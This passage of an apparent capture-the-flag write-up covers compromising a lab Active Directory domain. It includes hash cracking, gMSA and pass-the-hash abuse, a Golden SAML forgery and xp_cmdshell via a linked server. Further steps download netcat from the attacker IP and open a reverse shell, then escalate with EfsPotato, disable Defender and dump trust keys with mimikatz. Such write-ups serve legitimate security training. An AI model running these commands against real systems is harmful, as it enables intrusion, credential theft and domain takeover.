[HTTP] NTLMv2 Hash     : justin.bradley::ghost:e24e7edcdaff42cb:58C96CA696D155478B196604E834493C:0101000000000000568D64B8A917DB0143F1DE628EF8A3DA0000000002000800390035004800330001001E00570049004E002D005200570047005200430044005800350056004D0036000400140039003500480033002E004C004F00430041004C0003003400570049004E002D005200570047005200430044005800350056004D0036002E0039003500480033002E004C004F00430041004C000500140039003500480033002E004C004F00430041004C0008003000300000000000000000000000004000000320FFF67FCC88ADACADC251526E68ED6F83B404C5293EF5938DC0FA16ABEC800A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

We get an NTLMv2 hash for justin.bradley user.

We then attempt a Brute Force Password Cracking with john to crack this hash:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt justin_bradley_hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwertyuiop1234$$ (justin.bradley)
1g 0:00:00:18 DONE (2024-10-06 01:55) 0.05265g/s 564035p/s 564035c/s 564035C/s R5TXer12..Queenruma
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

We have credentials: justin.bradley:Qwertyuiop1234$$.

These credentials also work for SMB and MSSQL service, but we are not able to see anything we haven’t seen before. If we go back federation.ghost.htb login page (the HTTPs site running on port 8443) and use these credentials we get a message:

Ghost 12

It seems we are only allowed to log in as Administrator user. We get the same message if we log in with our other found credentials. We will come, again, back to this site later.

We also check if these credentials work in WinRM service:

❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'

WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)

and they do.

We can log in the victim machine using evil-winrm as this user:

❯ evil-winrm -u 'justin.bradley' -p 'Qwertyuiop1234$$' -i ghost.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents>

We can get the user flag at justin.bradley user.


NT Authority/System - Administrator Link to heading

We note that our current user is a member of IT group:

*Evil-WinRM* PS C:\Users\justin.bradley\Documents> net user justin.bradley

User name                    justin.bradley
Full Name                    Justin Bradley
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/1/2024 3:48:11 PM
Password expires             Never
Password changeable          2/2/2024 3:48:11 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/5/2024 10:02:55 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *IT
The command completed successfully.

Using bloodhound-python to extract some info works. We also get an error message, but it’s not a fatal error; just a warning:

❯ bloodhound-python -c ALL -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d ghost.htb -ns 10.10.11.24

INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
<SNIP>
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
INFO: Done in 00M 59S

linux-dev-ws01.ghost.htb is probably the FQDN for the container running Ghost CMS; but (fortunately) it’s not important for the domain itself. So we are good to go.

After extracting the files we upload them to Bloodhound, and search for justin.bradley user. Going to Node Info tab, and then to First Degree OBject I note that this user has a right over other user:

Ghost 13

justin.bradley user has the right ReadGMSAPassword over ADFS_GMSA$ user. Based on Bloodhound help (about how to abuse this right), we get:

Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

We can then use GMSADumper tool (that can be obtained from its Github repository). First, create a temporal Python virtual environment (which I will name gmsa_env) and install all the needed dependencies on that environment to run the tool:

❯ git clone https://github.com/micahvandeusen/gMSADumper.git
<SNIP>

❯ python3 -m venv gmsa_env

❯ source gmsa_env/bin/activate

❯ pip3 install -r requirements.txt
<SNIP>

Now, run it passing justin.bradley credentials:

❯ python3 gMSADumper.py -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d 'ghost.htb' -l 'dc01.ghost.htb'

Users or groups who can read password for adfs_gmsa$:
 > DC01$
 > justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961

The first returned line for adfs_gmsa$ user returns an NT hash for this user. We check if we can use this hash to attempt a Pass The Hash with NetExec tool:

❯ nxc smb 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'

SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\adfs_gmsa$:4233c732e277554e44dbd82a890da314

It worked.

We got access to adfs_gmsa$ account. ADFS stays for Active Directory Federation Services, which is used to extend the Active Directory identity to cloud applications. Searching what could we do with this account we find this page explaining how to perform a Golden SAML Attack (more info here). The page divides the attack in steps. We have already achieved Step 1 (get ADFS user credentials), so I will skip that step. Looking Step 2, we now need to access and export the needed information to forge the SAML token. There, they say we should use ADFSDump (that can be obtained from its Github repository). Nevertheless, the .exe file is not compiled; so I will use this pre-compiled binary for ADFSDump.exe. Based on Bloodhound, adfs_fmsa$ has access through WinRM, so let’s use this service to connect with this account and pass the pre-compiled binary:

❯ evil-winrm -i 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/exploits/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe

Data: 40276 bytes of 40276 bytes copied

Info: Upload successful!

Now, we execute ADFSDump.exe:

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIA
<SNIP>
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

The page says we needs to save the DKM key and TKS key (Token Signed key). The curious thing is that here we get 2 DKM key (or Private Key in the output). So I will save both DKM keys into my attacker machine as DKMKey1.txt and DKMKey2.txt; and save the Token Signed key as TKSKey.txt:

❯ cat DKMKey1.txt
FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7

❯ cat DKMKey2.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

❯ cat TKSKey.txt
AAAAAQAAAAA<SNIP>BN/BEsNEUSTXxm

Now, going to Step 3 of the page, TKS Key needs to be base64 decoded; whereas DKMKey needs to be converted to hexadecimal values:

❯ cat TKSKey.txt | base64 -d > TKSKey.bin

❯ cat DKMKey1.txt | tr -d "-" | xxd -r -p > DKMkey1.bin

❯ cat DKMKey2.txt | tr -d "-" | xxd -r -p > DKMkey2.bin

We can use then the tool ADFSpoof (which can be downloaded from its Github repository) in our attacker machine to forge the Golden SAML token. Now, the only thing that is “different” from the guide page than ours is that we do not want to request a ticket for Microsoft Office 365 (module o365 in ADFSpoof), we want saml2 module for a “custom” SAML response. So I attempt to craft a SAML response based on this blog.

Additionally, from ADFSDump output we can see that it tells us all the necessary stuff to run this attack:

  1. An endpoint (https://core.ghost.htb:8443/adfs/saml/postResponse)
  2. A domain/server (core.ghost.htb)
  3. And an Identifier (https://core.ghost.htb:8443).

Using the first Private Key obtained does not work:

❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey1.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/
/_/  |_/_____/_/    /____/ .___/\____/\____/_/
                        /_/

A tool to for AD FS security tokens
Created by @doughsec

Calculated MAC did not match anticipated MAC
Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'

But using the second one does:

❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey2.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

<SNIP>
ZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D

Now, note 2 things: this payload is urlencoded and, also, that it has a length of 6513 (just url decode the payload and count its chars with wc -c). Then, go to https://core.ghost.htb, start Burpsuite and intercept the request sent when we reload the page (not when we click on the Federation button). We do this since we want to send the request to https://core.ghost.htb:8443 site instead of federation.ghost.htb site. We will modify this request to send a POST request to the specified endpoint; also remember to specify the Content-Type to x-www-form-urlencoded and the content length to 6513 (the length of the urlencoded payload with ADFSpoof):

POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Referer: https://core.ghost.htb:8443/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6581

SAMLResponse=PHNhbWx<SNIP>nNlPg%3D%3D

Ghost 18

Clicking on Forward works. We bypass the login. Now we can see what is inside. We have what seems to be a MSSQL panel:

Ghost 14

Going straightforward, we can see 2 linked servers:

Ghost 15

One named DC01 and another one named PRIMARY.

We are currently at DC01:

Ghost 16

use_link command is not available, so we have to use EXEC AT command to execute commands in the server named PRIMARY. For example:

EXEC ('SELECT @@SERVERNAME') AT [PRIMARY];

We will check if we can execute commands as sa user at PRIMARY server:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"

Ghost 17

We can.

Then, we upload a netcat binary for Windows to the target machine in one of the paths provided by UltimateAppLockerByPassList (from its Github repository; which after some test I found that C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys path worked) and use PowerShell to download it running:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''powershell -command Invoke-WebRequest -Uri http://10.10.16.3:8000/nc64.exe -Outfile C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe''') AT "PRIMARY"

Start a listener with netcat along with rlwrap and invoke it:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe''') AT "PRIMARY"

We get a shell as nt service\mssqlserver:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49816
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt service\mssqlserver

Checking rights for this user we have:

C:\Windows\system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Windows\system32>

We can see SeImpersonatePrivilege is enabled.

After testing many tools, one of them worked: EfsPotato (which can be downloaded from its Github repository). The machine has Microsoft .NET available, so we can compile the .cs file, after uploading it, into the target machine. We upload EfsPotato file (.cs file) to C:\Users\Public\Downloads directory since I have some problems with Microsoft .NET compiler and the path I have saved the files. Done this we use csc.exe file to compile the .cs file:

C:\Windows\system32>C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /out:C:\Users\Public\Downloads\EfsPotato.exe C:\Users\Public\Downloads\EfsPotato.cs -nowarn:1691,618

<SNIP>

C:\Windows\system32>dir C:\Users\Public\Downloads

dir C:\Users\Public\Downloads
 Volume in drive C has no label.
 Volume Serial Number is 161D-1BB7

 Directory of C:\Users\Public\Downloads

10/07/2024  12:20 PM    <DIR>          .
01/30/2024  08:28 PM    <DIR>          ..
10/07/2024  12:19 PM            25,441 EfsPotato.cs
10/07/2024  12:20 PM            17,920 EfsPotato.exe
               2 File(s)         43,361 bytes
               2 Dir(s)   4,062,715,904 bytes free

Testing it, it works:

C:\Windows\system32>C:\Users\Public\Downloads\EfsPotato.exe "whoami"

C:\Users\Public\Downloads\EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=b8eaa0)
[+] Get Token: 880
[!] process with pid: 1360 created.
==============================
nt authority\system

We use again the uploaded netcat binary we used previously to gain access with MSSQL service to send us another reverse shell:

C:\Users\Public\Downloads>C:\Users\Public\Downloads\EfsPotato.exe "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe"

Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=a1e230)
[+] Get Token: 880
[!] process with pid: 2264 created.
==============================

And get a shell as nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49859
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt authority\system

However, if we check Administrator Desktop, the flag is not there. So we are not done yet:

C:\Windows\system32>dir C:\Users\Administrator\Desktop

dir C:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 161D-1BB7

 Directory of C:\Users\Administrator\Desktop

07/10/2024  04:19 AM    <DIR>          .
07/03/2024  08:55 AM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   4,062,208,000 bytes free

This is because we are in a machine named PRIMARY machine, not in DC01:

C:\Windows\system32>ipconfig /all

ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : PRIMARY
   Primary Dns Suffix  . . . . . . . : corp.ghost.htb
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : corp.ghost.htb
                                       ghost.htb

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : 00-15-5D-44-3C-01
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.10(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 127.0.0.1
                                       10.0.0.254
   NetBIOS over Tcpip. . . . . . . . : Enabled

When I uploaded some binaries to exploit SeImpersonatePrivilege privilege I noted that when I executed them they were eliminated from the source directory. We can check if an antivirus or Windows Defender are running:

C:\Windows\system32>powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"

powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"

AMServiceEnabled RealTimeProtectionEnabled AntispywareEnabled AntivirusEnabled
---------------- ------------------------- ------------------ ----------------
            True                      True               True             True

They are.

Since we are nt authority/system in this machine, we can disable Windows Defender changing from CMD to a PowerShell session and then execute:

C:\Windows\system32>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $true

Uploading a script like adPEAS (that can be downloaded from its Github repository), we can see that we are in primary.corp.ghost.htb machine.

PS C:\Users\Public\Downloads> Import-Module .\adPEAS.ps1
Import-Module .\adPEAS.ps1

PS C:\Users\Public\Downloads> Invoke-adPEAS

<SNIP>
[+] Found domain controller of domain 'corp.ghost.htb':
DC Host Name:                           PRIMARY.corp.ghost.htb
DC Roles:                       PdcRole,RidRole,InfrastructureRole
DC IP Address:                          ::1
Site Name:                              Default-First-Site-Name
<SNIP>

We can check this with PowerShell and nslookup command as well:

PS C:\Users\Public\Downloads> nslookup primary.corp.ghost.htb

nslookup primary.corp.ghost.htb
Server:  localhost
Address:  127.0.0.1

Name:    primary.corp.ghost.htb
Address:  10.0.0.10

From Bloodhound scan, and also from adPEAS scan, we can see there is a DC01.ghost.htb machine. We can check its address with nslookup as well:

PS C:\Users\Public\Downloads> nslookup dc01.ghost.htb

nslookup dc01.ghost.htb
Non-authoritative answer:
Server:  localhost
Address:  127.0.0.1

Name:    dc01.ghost.htb
Addresses:  10.10.11.24
          10.0.0.254

Note that PRIMARY machine is at corp.ghost.htb domain (known as child) and DC01 is at ghost.htb (main domain).

Basically, we are in an Active Directory forest and we need to gain access to the DC01 machine. Since in this machine we have disabled AMSI (Windows Defender), we can use some tools in the current machine to get some useful things of the domain. Upload PowerView.ps1 to the victim machine, import it and then check the trust relations:

PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1

Import-Module .\PowerView.ps1
PS C:\Users\Public\Downloads> Get-DomainTrust -NET

Get-DomainTrust -NET

SourceName     TargetName   TrustType TrustDirection
----------     ----------   --------- --------------
corp.ghost.htb ghost.htb  ParentChild  Bidirectional

or also:

PS C:\Users\Public\Downloads> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"


SourceName      : corp.ghost.htb
TargetName      : ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 10/14/2024 2:52:29 AM

SourceName      : ghost.htb
TargetName      : corp.ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 2/1/2024 2:35:13 AM

We have a Bidirectional trust. So, we should attempt a Trust Forest Attack. This post by harmj0y gives an excellent explanation to it. I will also follow instructions from this page explaining how to requests tickets based on this “trust”.

We upload mimikatz to the victim machine to get the SID of CORP.GHOST.HTB domain (or we could use Bloodhound as well) running:

C:\Users\Public\Downloads>.\mimikatz.exe

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::trust /patch

Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -> GHOST.HTB
    * 10/13/2024 7:38:38 PM - CLEAR   - 58 40 0f e6 53 5a 4f 77 ca 75 b5 74 62 23 d9 b4 ca 2d 77 ba 4f 13 67 71 fb 8e 01 e3 f3 8b 9c 05 aa ae 86 8a 5c 65 5d ff 0a 36 0e 53 13 6d 90 3e 9f df e1 52 6e b0 06 5f 28 01 c6 dc 84 16 d3 6f 38 8a b5 b4 aa d2 d7 c4 6e c6 35 49 bc 41 8c 1e 8e 24 22 a0 3b 74 0a 4d 34 eb 45 b8 c3 30 6f 2a 40 08 f0 5b ee 19 e2 ed ed b1 8a df bd d5 93 4f 20 fa 94 b1 30 f1 17 fb 04 43 99 a5 88 1d 05 48 da 72 25 79 7e 21 1d 5f 5b 06 3a 4e 17 e4 26 6b 5f 23 f0 f9 50 17 36 9f f5 92 75 da 79 88 6d 24 7d e8 23 96 db 9f 3b 2b f6 0f 16 7d 9d 0c 32 31 14 8d 1d 46 e3 4e c7 99 7d 07 cf 71 f8 9f 74 c2 b4 f9 42 c9 01 2d 75 a6 ba 36 a1 1f 8c 7e f6 85 88 89 bc a7 fa bf 3a 99 46 74 f7 78 8d 0f 95 4d 8e ea 55 52 b7 ec 8c f7 75 f0 75 18 78 57 1c d9
        * aes256_hmac       f22772408a7dc9200a603fbcfa204dc9c7ba75d7f1a250942a1a35df1417e02a
        * aes128_hmac       03c3fc5d6267a2f76cbb6e03475a8b4d
        * rc4_hmac_nt       4b04c5ac6cca84114f4e965d96ca2d38

 [ Out ] GHOST.HTB -> CORP.GHOST.HTB
    * 10/13/2024 7:52:29 PM - CLEAR   - fd f0 a1 41 19 b2 8b f4 21 13 e1 66 04 f4 94 be e7 1b 91 f7 f7 45 87 11 3d 0a 93 6d 14 dc ad c7 4b 1c 22 e6 8b 60 cb 5a dc f4 fd 3a ed 29 b7 ee 40 eb 7a e3 af f0 72 36 62 d6 92 4e 39 98 72 13 5b b6 d3 2e 1b 77 9c c3 f0 d4 c6 9d 40 73 91 af e7 1b 32 16 d0 1b 95 54 7b 13 6d 53 29 b2 90 54 fd c2 d1 c4 84 d2 5f 44 da 58 70 67 50 88 b0 46 7a 85 92 57 b6 5d aa 59 19 73 0a dd 3f b3 f4 96 99 98 a4 b2 17 cf b6 5f f7 e0 95 57 32 00 4c 79 a2 ef 1b a3 b3 fb f8 4b 4c ac d0 e7 80 c0 d7 25 c5 2e ac 9f 2c b4 e6 07 66 2a fe e7 e8 1f 80 ca 6c 36 a4 07 e0 6e 6c 4d 3d 4b 77 58 74 20 e7 cf 01 ed c9 f7 4d 00 9d 6a 43 64 fa b5 3c 2e 64 be c4 e2 2a 01 be d1 60 e0 2d b2 16 6b cf 8e 11 23 b1 f7 12 fa 26 5a 8e 19 93 a3 b8 7e 88 ac d8 84
        * aes256_hmac       682cceb0224c8ca35c5246ad35cc242e94e5e41d3a0cf2e45adcc4a1cd6e4b29
        * aes128_hmac       683e4686edf7fbd33afca4e98e2a4925
        * rc4_hmac_nt       ec213e210bc8a69ff6d9d62c1518e057

 [ In-1] CORP.GHOST.HTB -> GHOST.HTB
